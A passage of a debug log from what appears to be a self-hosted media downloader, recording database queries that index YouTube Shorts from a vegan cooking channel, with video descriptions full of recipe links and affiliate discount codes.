\u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Dump and Bake Bacon Cheeseburger Casserole - vegan and GF", 1, nil, false, "gZgfBgtk5mI", "https://www.youtube.com/shorts/gZgfBgtk5mI", "/downloads/downloads/alec/Steamy Vegan/2026-01-10 Dump and Bake Bacon Cheeseburger Casserole - vegan and GF/Dump and Bake Bacon Cheeseburger Casserole - vegan and GF [gZgfBgtk5mI].NA", true, ~U[2026-01-10 00:00:00Z]] 20:31:08.875 [debug] QUERY OK source="sources" db=0.8ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.877 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 00:00:00Z], 1] 20:31:08.879 [debug] QUERY OK source="media_items" db=1.1ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Want to master cooking with tofu? This tofu recipe is the perfect vegan recipe to start with, plus find dozens of other tofu recipes on the channel.\n\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipe for this tofu recipe on my blog!\nLEMON PEPPER TOFU ➡️ https://steamyvegan.com/lemon-pepper-...\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Tofu Recipes - Maple Mustard Tofu 🍁", "cb4c1e63-b02f-48fa-88cf-5537840beed3", 1, [], false, "1jAVC6zS_q4", "https://www.youtube.com/shorts/1jAVC6zS_q4", 8, "/downloads/downloads/alec/Steamy Vegan/2026-01-08 Tofu Recipes - Maple Mustard Tofu 🍁/Tofu Recipes - Maple Mustard Tofu 🍁 [1jAVC6zS_q4].NA", false, false, true, 1, ~U[2026-01-08 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Want to master cooking with tofu? This tofu recipe is the perfect vegan recipe to start with, plus find dozens of other tofu recipes on the channel.\n\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipe for this tofu recipe on my blog!\nLEMON PEPPER TOFU ➡️ https://steamyvegan.com/lemon-pepper-...\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Tofu Recipes - Maple Mustard Tofu 🍁", 1, nil, false, "1jAVC6zS_q4", "https://www.youtube.com/shorts/1jAVC6zS_q4", "/downloads/downloads/alec/Steamy Vegan/2026-01-08 Tofu Recipes - Maple Mustard Tofu 🍁/Tofu Recipes - Maple Mustard Tofu 🍁 [1jAVC6zS_q4].NA", true, ~U[2026-01-08 00:00:00Z]] 20:31:08.881 [debug] QUERY OK source="sources" db=1.0ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.883 [debug] QUERY OK source="media_items" db=1.9ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-07 00:00:00Z], 1] 20:31:08.885 [debug] QUERY OK source="media_items" db=1.0ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mapo Tofu is a popular Chinese tofu recipe but for some reason not many people in North America have heard of it! Today, we're making a vegan mapo tofu recipe that's super high-protein, gluten-free, and an easy recipe to make during a busy workweek. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMAPO TOFU RECIPE on my blog ➡️ https://steamyvegan.com/mapo-tofu/\n\nWant more easy vegan recipe ideas, check these ones out:\nVegan Ginger Beef: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\nPesto Pasta: \u00A0\u00A0\u00A0•\u00A0Pesto\u00A0Pasta\u00A0Recipe\u00A0with\u00A030g\u00A0of\u00A0PROTEIN!\u00A0💪🏼...\u00A0\u00A0\nNo Cooking Meal Prep Ep. 3: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Mapo Tofu Recipe 🌱 Vegan and GF", "49c05d1f-ee14-4dd1-9cc5-3701975fa12c", 1, [], false, "Jc5nXqHYIOE", "https://www.youtube.com/shorts/Jc5nXqHYIOE", 9, "/downloads/downloads/alec/Steamy Vegan/2026-01-07 Mapo Tofu Recipe 🌱 Vegan and GF/Mapo Tofu Recipe 🌱 Vegan and GF [Jc5nXqHYIOE].NA", false, false, true, 1, ~U[2026-01-07 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Mapo Tofu is a popular Chinese tofu recipe but for some reason not many people in North America have heard of it! Today, we're making a vegan mapo tofu recipe that's super high-protein, gluten-free, and an easy recipe to make during a busy workweek. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nMAPO TOFU RECIPE on my blog ➡️ https://steamyvegan.com/mapo-tofu/\n\nWant more easy vegan recipe ideas, check these ones out:\nVegan Ginger Beef: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Ginger\u00A0Beef\u00A0Stir\u00A0Fry!\u00A0EASY\u00A020\u00A0Minute...\u00A0\u00A0\nPesto Pasta: \u00A0\u00A0\u00A0•\u00A0Pesto\u00A0Pasta\u00A0Recipe\u00A0with\u00A030g\u00A0of\u00A0PROTEIN!\u00A0💪🏼...\u00A0\u00A0\nNo Cooking Meal Prep Ep. 3: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Mapo Tofu Recipe 🌱 Vegan and GF", 1, nil, false, "Jc5nXqHYIOE", "https://www.youtube.com/shorts/Jc5nXqHYIOE", "/downloads/downloads/alec/Steamy Vegan/2026-01-07 Mapo Tofu Recipe 🌱 Vegan and GF/Mapo Tofu Recipe 🌱 Vegan and GF [Jc5nXqHYIOE].NA", true, ~U[2026-01-07 00:00:00Z]] 20:31:08.886 [debug] QUERY OK source="sources" db=0.6ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.887 [debug] QUERY OK source="media_items" db=1.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-05 00:00:00Z], 1] 20:31:08.889 [debug] QUERY OK source="media_items" db=1.5ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you love souvlaki then you'll want to try out my greek tofu souvlaki recipe. This tofu recipe is high protein, gluten-free, and gives all of those delicious Greek cuisine vibes. \n\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the FULL GREEK MEAL PREP recipes on my blog here: https://steamyvegan.com/greek-high-pr...\n\nWatch the full Greek meal prep recipe video on YouTube here: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Tofu Recipes - Greek Tofu Souvlaki 🇬🇷", "29d6e7d9-29c3-4bc2-935c-96e46807e2c4", 1, [], false, "R-oSn2nT9c0", "https://www.youtube.com/shorts/R-oSn2nT9c0", 10, "/downloads/downloads/alec/Steamy Vegan/2026-01-05 Tofu Recipes - Greek Tofu Souvlaki 🇬🇷/Tofu Recipes - Greek Tofu Souvlaki 🇬🇷 [R-oSn2nT9c0].NA", false, false, true, 1, ~U[2026-01-05 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "If you love souvlaki then you'll want to try out my greek tofu souvlaki recipe. This tofu recipe is high protein, gluten-free, and gives all of those delicious Greek cuisine vibes. \n\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the FULL GREEK MEAL PREP recipes on my blog here: https://steamyvegan.com/greek-high-pr...\n\nWatch the full Greek meal prep recipe video on YouTube here: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off\nCode: STEAMYVEGAN\nLink: https://noize.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Tofu Recipes - Greek Tofu Souvlaki 🇬🇷", 1, nil, false, "R-oSn2nT9c0", "https://www.youtube.com/shorts/R-oSn2nT9c0", "/downloads/downloads/alec/Steamy Vegan/2026-01-05 Tofu Recipes - Greek Tofu Souvlaki 🇬🇷/Tofu Recipes - Greek Tofu Souvlaki 🇬🇷 [R-oSn2nT9c0].NA", true, ~U[2026-01-05 00:00:00Z]] 20:31:08.890 [debug] QUERY OK source="sources" db=0.6ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.893 [debug] QUERY OK source="media_items" db=2.2ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-04 00:00:00Z], 1] 20:31:08.895 [debug] QUERY OK source="media_items" db=1.5ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Want to master cooking with tofu? I have over 30 different tofu recipes on my YouTube channel and blog and over 800 healthy and high protein vegan recipes on my channel and blog. Subscribe and stay tuned for 2 new recipes every week!\n\nCheck out the full length video here: \u00A0\u00A0\u00A0•\u00A02\u00A0tofu\u00A0recipes\u00A0even\u00A0MEAT\u00A0eaters\u00A0will\u00A0devou...\u00A0\u00A0\n\nSubscribe to the channel here (FREE!): https://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipes for both tofu recipes on my blog!\nLEMON PEPPER TOFU ➡️ https://steamyvegan.com/lemon-pepper-...\nMAPLE MUSTARD TOFU ➡️ https://steamyvegan.com/maple-mustard...\n\nOther Tofu Recipes to Check out on the Channel: \nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ 